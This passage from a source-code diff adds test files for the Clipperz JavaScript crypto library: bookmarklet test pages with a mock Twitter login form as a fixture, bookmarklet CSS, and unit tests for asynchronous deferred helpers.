and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript" src="../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="./SimpleTest/TestRunner.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<script type="text/javascript">
|
||||
TestRunner.runTests(
|
||||
/*
|
||||
// 'tests/Clipperz/Base.html',
|
||||
// 'tests/Clipperz/Set.html',
|
||||
'tests/Clipperz/index.html',
|
||||
|
||||
// 'tests/Clipperz/Crypto/Base.html',
|
||||
// 'tests/Clipperz/Crypto/BigInt.html',
|
||||
// 'tests/Clipperz/Crypto/SRP.html'
|
||||
'tests/Clipperz/Crypto/index.html',
|
||||
'tests/Clipperz/PM/index.html',
|
||||
'tests/Clipperz/PM/DataModel/index.html'
|
||||
*/
|
||||
|
||||
'tests/index.html'
|
||||
|
||||
|
||||
);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
201
frontend/gamma/tests/tests/Bookmarklet/Bookmarklet.css
Normal file
@@ -0,0 +1,201 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
/* @override
|
||||
http://localhost:8000/tests/js/tests/Bookmarklet/Bookmarklet.css
|
||||
http://www.clipperz.com/files/clipperz.com/bookmarklet/0.3.0/Bookmarklet.css
|
||||
*/
|
||||
|
||||
div#clipperzBookmarklet {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 0;
|
||||
outline: 0;
|
||||
font-size: 100%;
|
||||
vertical-align: baseline;
|
||||
background: transparent;
|
||||
|
||||
position: absolute;
|
||||
top: 80px;
|
||||
left: 100px;
|
||||
width: 202px;
|
||||
height: 202px;
|
||||
background: url(./background.png) no-repeat;
|
||||
}
|
||||
|
||||
div#clipperzBookmarklet div#clipperzBookmarkletClose {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 0;
|
||||
outline: 0;
|
||||
font-size: 100%;
|
||||
vertical-align: baseline;
|
||||
background: transparent;
|
||||
|
||||
position: absolute;
|
||||
left: 168px;
|
||||
top: 5px;
|
||||
width: 25px;
|
||||
height: 25px;
|
||||
background: url(./close.png) no-repeat;
|
||||
}
|
||||
|
||||
div#clipperzBookmarklet div#clipperzBookmarkletClose:hover {
|
||||
background: url(./close_selected.png) no-repeat;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
div#clipperzBookmarklet div#clipperzBookmarkletResult {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 0;
|
||||
outline: 0;
|
||||
font-size: 100%;
|
||||
vertical-align: baseline;
|
||||
background: transparent;
|
||||
|
||||
position: absolute;
|
||||
width: 145px;
|
||||
top: 61px;
|
||||
left: 27px;
|
||||
height: 63px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
div#clipperzBookmarklet div#clipperzBookmarkletResultIcon {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 0;
|
||||
outline: 0;
|
||||
font-size: 100%;
|
||||
vertical-align: baseline;
|
||||
|
||||
width: 28px;
|
||||
height: 35px;
|
||||
position: absolute;
|
||||
}
|
||||
|
||||
div#clipperzBookmarklet div#clipperzBookmarkletResultIcon.ok {
|
||||
background: transparent url(./info.png);
|
||||
}
|
||||
|
||||
div#clipperzBookmarklet div#clipperzBookmarkletResultIcon.fail {
|
||||
background: transparent url(./error.png);
|
||||
}
|
||||
|
||||
div#clipperzBookmarklet div#clipperzBookmarkletResult p {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 0;
|
||||
outline: 0;
|
||||
font-size: 100%;
|
||||
vertical-align: baseline;
|
||||
background: transparent;
|
||||
|
||||
font-family: Helvetica, Arial, Geneva, sans-serif;
|
||||
color: #898e7d;
|
||||
font-size: 14px;
|
||||
margin-left: 35px;
|
||||
}
|
||||
|
||||
div#clipperzBookmarklet div#clipperzBookmarletButton {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 0;
|
||||
outline: 0;
|
||||
font-size: 100%;
|
||||
vertical-align: baseline;
|
||||
background: transparent;
|
||||
|
||||
position: absolute;
|
||||
top: 125px;
|
||||
left: 26px;
|
||||
width: 148px;
|
||||
height: 49px;
|
||||
background: url(./copy.png) no-repeat;
|
||||
}
|
||||
|
||||
div#clipperzBookmarklet div#clipperzBookmarletButton span {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 0;
|
||||
outline: 0;
|
||||
font-size: 100%;
|
||||
vertical-align: baseline;
|
||||
background: transparent;
|
||||
|
||||
display: block;
|
||||
font-family: Helvetica, Arial, Geneva, sans-serif;
|
||||
font-weight: bold;
|
||||
font-size: 14pt;
|
||||
padding-left: 60px;
|
||||
padding-top: 12px;
|
||||
color: #838975;
|
||||
}
|
||||
|
||||
div#clipperzBookmarklet div#clipperzBookmarletButton.hover {
|
||||
background: url(./copy_selected.png) no-repeat;
|
||||
}
|
||||
|
||||
|
||||
div#clipperzBookmarklet div#clipperzBookmarletAfterCopyHint.hidden {
|
||||
display: none;
|
||||
}
|
||||
|
||||
|
||||
div#clipperzBookmarklet div#clipperzBookmarletAfterCopyHint {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 0;
|
||||
outline: 0;
|
||||
font-size: 100%;
|
||||
vertical-align: baseline;
|
||||
background: transparent;
|
||||
|
||||
position: absolute;
|
||||
top: 78px;
|
||||
left: 135px;
|
||||
width: 171px;
|
||||
height: 72px;
|
||||
background: url(./hint.png) no-repeat;
|
||||
}
|
||||
|
||||
div#clipperzBookmarklet div#clipperzBookmarletAfterCopyHint p {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 0;
|
||||
outline: 0;
|
||||
font-size: 100%;
|
||||
vertical-align: baseline;
|
||||
background: transparent;
|
||||
|
||||
padding: 10px;
|
||||
font-family: Helvetica, Arial, Geneva, sans-serif;
|
||||
color: white;
|
||||
font-size: 13px;
|
||||
}
|
||||
113
frontend/gamma/tests/tests/Bookmarklet/Fail.html
Normal file
@@ -0,0 +1,113 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Bookmarlet TEST - fail</title>
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../SimpleTest/test.css">
|
||||
|
||||
<!-- link rel="stylesheet" type="text/css" href="./Bookmarklet.css" -->
|
||||
<script type='text/javascript' src='../../../js/Bookmarklet.js'></script>
|
||||
<script type='text/javascript' src='../../../../_build/_scratch/bookmarklet_test.js'></script>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<!-- TWITTER Login Form -->
|
||||
<!-- form id="signin" action="https://twitter.com/sessions" method="post">
|
||||
<input id="authenticity_token" type="hidden" value="a3a9abfa089122e4b437736313e54f2a25911101" name="authenticity_token"/>
|
||||
<fieldset class="common-form standard-form">
|
||||
<legend>Please sign in</legend>
|
||||
<p>
|
||||
<label class="inside" for="username" tabindex="1">user name or email address:</label>
|
||||
<input id="username" type="text" title="username" value="" name="session[username_or_email]"/>
|
||||
</p>
|
||||
<p>
|
||||
<label class="inside" for="password" tabindex="2">password:</label>
|
||||
<input id="password" type="password" title="password" value="" name="session[password]"/>
|
||||
</p>
|
||||
<p class="remember"></p>
|
||||
<p class="submit"></p>
|
||||
<p class="forgot"></p>
|
||||
<p class="complete"></p>
|
||||
</fieldset>
|
||||
</form -->
|
||||
|
||||
<!-- ###################################################################### -->
|
||||
<!--
|
||||
<div id="clipperzBookmarklet" style="">
|
||||
<div id="clipperzBookmarkletResult" style=""><p>The direct login configuration has been collected.</p></div>
|
||||
<div id="clipperzBookmarletButton" style=""></div>
|
||||
<div id="clipperzBookmarletAfterCopyHint" style=""><p>Now you can return to the Clipperz main interface and create a new card</p></div>
|
||||
</div>
|
||||
-->
|
||||
<!--
|
||||
<div id="clipperzBookmarklet">
|
||||
<div id="clipperzBookmarkletResult"><div id="clipperzBookmarkletResultIcon"></div><p id="clipperzBookmarkletResultText"></p></div>
|
||||
<div id="clipperzBookmarletButton"></div>
|
||||
<div id="clipperzBookmarletAfterCopyHint"><p id="clipperzBookmarkletHintText"></p></div>
|
||||
</div>
|
||||
-->
|
||||
|
||||
|
||||
<!-- ###################################################################### -->
|
||||
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
try {
|
||||
runBookmarklet();
|
||||
// var parameters;
|
||||
// runBookmarklet();
|
||||
|
||||
// parameters = getLoginFormConfiguration();
|
||||
|
||||
// SimpleTest.ok(parameters != null, "The bookmarklet returns something useful");
|
||||
// SimpleTest.ok(bookmarkletClip != null, "The clipboard bridge has been created");
|
||||
// SimpleTest.ok(bookmarkletClip.ready, "The clipboard bridge has been created AND is ready");
|
||||
SimpleTest.ok(true, "no exception raised");
|
||||
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
113
frontend/gamma/tests/tests/Bookmarklet/Twitter.html
Normal file
@@ -0,0 +1,113 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Bookmarlet TEST - ok</title>
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../SimpleTest/test.css">
|
||||
|
||||
<!-- link rel="stylesheet" type="text/css" href="./Bookmarklet.css" -->
|
||||
<script type='text/javascript' src='../../../js/Bookmarklet.js'></script>
|
||||
<script type='text/javascript' src='../../../../_build/_scratch/bookmarklet_test.js'></script>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<!-- TWITTER Login Form -->
|
||||
<form id="signin" action="https://twitter.com/sessions" method="post">
|
||||
<input id="authenticity_token" type="hidden" value="a3a9abfa089122e4b437736313e54f2a25911101" name="authenticity_token"/>
|
||||
<fieldset class="common-form standard-form">
|
||||
<legend>Please sign in</legend>
|
||||
<p>
|
||||
<label class="inside" for="username" tabindex="1">user name or email address:</label>
|
||||
<input id="username" type="text" title="username" value="" name="session[username_or_email]"/>
|
||||
</p>
|
||||
<p>
|
||||
<label class="inside" for="password" tabindex="2">password:</label>
|
||||
<input id="password" type="password" title="password" value="" name="session[password]"/>
|
||||
</p>
|
||||
<p class="remember"></p>
|
||||
<p class="submit"></p>
|
||||
<p class="forgot"></p>
|
||||
<p class="complete"></p>
|
||||
</fieldset>
|
||||
</form>
|
||||
|
||||
<!-- ###################################################################### -->
|
||||
<!--
|
||||
<div id="clipperzBookmarklet" style="">
|
||||
<div id="clipperzBookmarkletResult" style=""><p>The direct login configuration has been collected.</p></div>
|
||||
<div id="clipperzBookmarletButton" style=""></div>
|
||||
<div id="clipperzBookmarletAfterCopyHint" style=""><p>Now you can return to the Clipperz main interface and create a new card</p></div>
|
||||
</div>
|
||||
-->
|
||||
<!--
|
||||
<div id="clipperzBookmarklet">
|
||||
<div id="clipperzBookmarkletResult"><div id="clipperzBookmarkletResultIcon"></div><p id="clipperzBookmarkletResultText"></p></div>
|
||||
<div id="clipperzBookmarletButton"></div>
|
||||
<div id="clipperzBookmarletAfterCopyHint"><p id="clipperzBookmarkletHintText"></p></div>
|
||||
</div>
|
||||
-->
|
||||
|
||||
|
||||
<!-- ###################################################################### -->
|
||||
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
try {
|
||||
runBookmarklet();
|
||||
// var parameters;
|
||||
// runBookmarklet();
|
||||
|
||||
// parameters = getLoginFormConfiguration();
|
||||
|
||||
// SimpleTest.ok(parameters != null, "The bookmarklet returns something useful");
|
||||
// SimpleTest.ok(bookmarkletClip != null, "The clipboard bridge has been created");
|
||||
// SimpleTest.ok(bookmarkletClip.ready, "The clipboard bridge has been created AND is ready");
|
||||
SimpleTest.ok(true, "no exception raised");
|
||||
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
BIN
frontend/gamma/tests/tests/Bookmarklet/ZeroClipboard.swf
Executable file
BIN
frontend/gamma/tests/tests/Bookmarklet/background.png
Normal file
|
After Width: | Height: | Size: 10 KiB |
BIN
frontend/gamma/tests/tests/Bookmarklet/close.png
Normal file
|
After Width: | Height: | Size: 3.9 KiB |
BIN
frontend/gamma/tests/tests/Bookmarklet/close_selected.png
Normal file
|
After Width: | Height: | Size: 3.9 KiB |
BIN
frontend/gamma/tests/tests/Bookmarklet/copy.png
Normal file
|
After Width: | Height: | Size: 5.1 KiB |
BIN
frontend/gamma/tests/tests/Bookmarklet/copy_selected.png
Normal file
|
After Width: | Height: | Size: 5.0 KiB |
BIN
frontend/gamma/tests/tests/Bookmarklet/error.png
Normal file
|
After Width: | Height: | Size: 4.6 KiB |
BIN
frontend/gamma/tests/tests/Bookmarklet/hint.png
Normal file
|
After Width: | Height: | Size: 3.9 KiB |
42
frontend/gamma/tests/tests/Bookmarklet/index.html
Normal file
@@ -0,0 +1,42 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Complete TEST suite</title>
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/TestRunner.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<script>
|
||||
TestRunner.runTests(
|
||||
'Twitter.html'
|
||||
);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
BIN
frontend/gamma/tests/tests/Bookmarklet/info.png
Normal file
|
After Width: | Height: | Size: 4.7 KiB |
53
frontend/gamma/tests/tests/Clipperz/Async.html
Normal file
@@ -0,0 +1,53 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.Async - test</title>
|
||||
|
||||
<script type="text/javascript" src="../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../js/Clipperz/Async.js'></script>
|
||||
<script type="text/javascript" src="../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<pre id="test">
|
||||
<!--<script type="text/javascript" src="User.data.js"></script>//-->
|
||||
<script type="text/javascript" src="Async.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
687
frontend/gamma/tests/tests/Clipperz/Async.test.js
Normal file
@@ -0,0 +1,687 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
testObject = function (aLabel) {
|
||||
this._label = aLabel;
|
||||
this._sibling = null;
|
||||
}
|
||||
|
||||
testObject.prototype = {
|
||||
'label': function () {
|
||||
return MochiKit.Async.succeed(this._label);
|
||||
},
|
||||
|
||||
'shouldHit': function () {
|
||||
var filterRegExp;
|
||||
|
||||
filterRegExp = new RegExp("hit", "i");
|
||||
|
||||
return Clipperz.Async.callbacks("testObject.shouldHit", [
|
||||
MochiKit.Base.method(this, 'label'),
|
||||
MochiKit.Base.method(filterRegExp, 'test')
|
||||
]);
|
||||
},
|
||||
|
||||
'sibling': function () {
|
||||
return this._sibling;
|
||||
},
|
||||
|
||||
'setSibling': function (aSibling) {
|
||||
this._sibling = aSibling;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
var tests = {
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'succeedingForkedDeferrer_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred('Async.test succeedingForkedDeferred', someTestArgs);
|
||||
deferredResult.addCallback(Clipperz.Async.forkAndJoin("Async.test succeedingForkedDeferred",
|
||||
[
|
||||
MochiKit.Base.partial(MochiKit.Async.succeed, 3),
|
||||
MochiKit.Base.partial(MochiKit.Async.succeed, 2)
|
||||
], someTestArgs
|
||||
));
|
||||
deferredResult.addCallback(function (anAsyncResult) {
|
||||
var sum;
|
||||
|
||||
sum = MochiKit.Iter.reduce(MochiKit.Base.operator.add, anAsyncResult);
|
||||
SimpleTest.is(sum, 5, "the sum of all the returned results should be 5");
|
||||
});
|
||||
deferredResult.addErrback(function() {
|
||||
SimpleTest.ok(false, "forkAndJoin should succeed and execution path should NOT go through here (1)")
|
||||
})
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'succeedingForkedAndWaitDeferrer_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred('succeedingForkedAndWaitDeferrer_test', someTestArgs);
|
||||
deferredResult.addCallback(Clipperz.Async.forkAndJoin("Async.test succeedingForkedAndWaitDeferrer",
|
||||
[
|
||||
MochiKit.Base.partial(MochiKit.Async.callLater, 2, MochiKit.Async.succeed, 3),
|
||||
MochiKit.Base.partial(MochiKit.Async.callLater, 1, MochiKit.Async.succeed, 2),
|
||||
MochiKit.Base.partial(MochiKit.Async.callLater, 3, MochiKit.Async.succeed, 7)
|
||||
], someTestArgs
|
||||
));
|
||||
deferredResult.addCallback(function (anAsyncResult) {
|
||||
var sum;
|
||||
|
||||
sum = MochiKit.Iter.reduce(MochiKit.Base.operator.add, anAsyncResult);
|
||||
SimpleTest.is(sum, 12, "the sum of all the returned results should be 12");
|
||||
});
|
||||
deferredResult.addErrback(function() {
|
||||
SimpleTest.ok(false, "forkAndJoin should succeed and execution path should NOT go through here (2)")
|
||||
})
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'failingForkedDeferrer_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred('Async.test failingForkedDeferred', someTestArgs);
|
||||
deferredResult.addCallback(Clipperz.Async.forkAndJoin("Async.test failingForkedDeferred",
|
||||
[
|
||||
MochiKit.Async.succeed,
|
||||
MochiKit.Async.fail
|
||||
], someTestArgs
|
||||
));
|
||||
deferredResult.addCallback(function () {
|
||||
SimpleTest.ok(false, "forkAndJoin should fail, and execution path should NOT go through here");
|
||||
});
|
||||
deferredResult.addErrback(function() {
|
||||
SimpleTest.ok(true, "forkAndJoin should fail and execution path should go through here")
|
||||
})
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'succeedingCollectResultsDeferrer_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred('Async.test succeedingCollectResultsDeferrer', someTestArgs);
|
||||
deferredResult.addCallback(Clipperz.Async.collectResults('Async.test succeedingCollectResultsDeferrer', {
|
||||
'first': MochiKit.Base.partial(MochiKit.Async.callLater, 2, MochiKit.Async.succeed, 3),
|
||||
'second': MochiKit.Base.partial(MochiKit.Async.callLater, 1, MochiKit.Async.succeed, 2),
|
||||
'third': MochiKit.Base.partial(MochiKit.Async.callLater, 3, MochiKit.Async.succeed, 7)
|
||||
}, someTestArgs));
|
||||
deferredResult.addCallback(function (anAsyncResult) {
|
||||
var sum;
|
||||
|
||||
sum = MochiKit.Iter.reduce(MochiKit.Base.operator.add, MochiKit.Base.values(anAsyncResult));
|
||||
SimpleTest.is(sum, 12, "the sum of all the returned results should be 12");
|
||||
SimpleTest.is(anAsyncResult['first'], 3, "the result of the 'first' item is 3");
|
||||
SimpleTest.is(anAsyncResult['second'], 2, "the result of the 'second' item is 2");
|
||||
SimpleTest.is(anAsyncResult['third'], 7, "the result of the 'third' item is 7");
|
||||
SimpleTest.is(MochiKit.Base.keys(anAsyncResult).length, 3, "the result has exactly 3 values");
|
||||
});
|
||||
deferredResult.addErrback(function() {
|
||||
SimpleTest.ok(false, "collectResults should succeed and execution path should NOT go through here");
|
||||
});
|
||||
deferredResult.callback();
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'collectResultsWithParameter_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred('collectResultsWithParameter_test', someTestArgs);
|
||||
deferredResult.collectResults({
|
||||
'add_3': MochiKit.Base.partial(MochiKit.Base.operator.add, 3),
|
||||
'sub_8': MochiKit.Base.partial(MochiKit.Base.operator.sub, 8),
|
||||
'mul_4': MochiKit.Base.partial(MochiKit.Base.operator.mul, 4)
|
||||
});
|
||||
deferredResult.addCallback(function (anAsyncResult) {
|
||||
SimpleTest.is(anAsyncResult['add_3'], 8, "adding 3 to the passed value (5) returns 8");
|
||||
SimpleTest.is(anAsyncResult['sub_8'], 3, "subtracting the passed value (5) to 8 returns 3");
|
||||
SimpleTest.is(anAsyncResult['mul_4'], 20, "multiplying the passed value (5) by 4 returns 20");
|
||||
SimpleTest.is(MochiKit.Base.keys(anAsyncResult).length, 3, "the result has exactly 3 values");
|
||||
});
|
||||
deferredResult.callback(5);
|
||||
|
||||
return deferredResult;
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'succeedingCollectResultsDeferrer_alternative_syntax_test': function (someTestArgs) {
|
||||
var deferredResult;
|
||||
|
||||
deferredResult = new Clipperz.Async.Deferred('succeedingCollectResultsDeferrer_alternative_syntax_test', someTestArgs);
|
||||
deferredResult.collectResults({
|
||||
'first': MochiKit.Base.partial(MochiKit.Async.callLater, 2, MochiKit.Async.succeed, 3),
|
||||
'second': MochiKit.Base.partial(MochiKit.Async.callLater, 1, MochiKit.Async.succeed, 2),
|
||||
'third': MochiKit.Base.partial(MochiKit.Async.callLater, 3, MochiKit.Async.succeed, 7)
|
||||
});
|
||||
deferredResult.addCallback(function (anAsyncResult) {
|
||||
var sum;
|
||||
|
||||
